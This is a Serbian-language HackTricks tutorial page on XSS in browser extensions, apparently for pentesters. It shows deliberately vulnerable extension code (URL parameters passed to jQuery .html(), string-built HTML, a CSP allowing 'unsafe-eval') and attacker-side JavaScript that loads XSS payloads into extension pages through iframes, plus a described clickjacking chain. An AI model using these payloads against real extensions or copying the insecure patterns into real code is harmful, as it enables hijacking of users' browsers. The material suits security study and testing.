hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
2024-02-10 13:11:20 +00:00

120 lines
7.2 KiB
Markdown

# BrowExt - Primer XSS napad
<details>
<summary><strong>Naučite kako da hakujete AWS od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Cross-Site Scripting (XSS) putem Iframe-a
U ovom scenariju, **content script** je implementiran kako bi instancirao Iframe, koji uključuje URL sa upitnim parametrima kao izvor Iframe-a:
```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
```
Javno dostupna HTML stranica, **`message.html`**, je dizajnirana da dinamički dodaje sadržaj u tijelo dokumenta na osnovu parametara u URL-u:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
```
Na stranici protivnika izvršava se zlonamerni skript koji menja parametar `content` izvora Iframe-a kako bi se unela **XSS payload**. To se postiže ažuriranjem izvora Iframe-a da uključuje štetnu skriptu:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
Preterasno dozvoljena politika bezbednosti sadržaja, kao što je:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
omogućava izvršavanje JavaScript-a, čineći sistem podložnim XSS napadima.
Alternativni pristup za izazivanje XSS-a uključuje kreiranje Iframe elementa i postavljanje izvora na uključivanje štetnog skripta kao parametra `content`:
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```
## DOM-bazirani XSS + ClickJacking
Ovaj primer je preuzet iz [originalnog posta](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Osnovni problem proizlazi iz DOM-bazirane ranjivosti Cross-site Scripting (XSS) koja se nalazi u **`/html/bookmarks.html`**. Problematicni JavaScript deo, koji je deo **`bookmarks.js`**, je detaljno opisan ispod:
```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Ovaj odlomak dohvaća **vrednost** iz polja za unos **`txtName`** i koristi **spajanje nizova da generiše HTML**, koji se zatim dodaje u DOM korišćenjem jQuery-ove funkcije `.append()`.
Uobičajeno, Chrome ekstenzija koristi Content Security Policy (CSP) koja bi sprečila ovakve ranjivosti. Međutim, zbog **opuštanja CSP-a sa 'unsafe-eval'** i korišćenja jQuery-ovih metoda manipulacije DOM-om (koje koriste [`globalEval()`](https://api.jquery.com/jquery.globaleval/) da bi prosledile skripte funkciji [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) prilikom umetanja u DOM), eksploatacija je i dalje moguća.
Iako je ova ranjivost značajna, njena eksploatacija obično zavisi od interakcije korisnika: poseta stranici, unošenje XSS payloada i aktiviranje dugmeta "Dodaj".
Da bi se ova ranjivost poboljšala, eksploatiše se sekundarna ranjivost **clickjacking**-a. Manifest Chrome ekstenzije prikazuje opsežnu politiku `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Posebno, stranica **`/html/bookmarks.html`** je podložna framingu, te je ranjiva na **clickjacking**. Ova ranjivost se koristi za framing stranice unutar sajta napadača, prekrivajući je DOM elementima kako bi se prevarantski redizajnirao interfejs. Ova manipulacija navodi žrtve da nenamerno interaguju sa podrazumevanim proširenjem.
## Reference
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>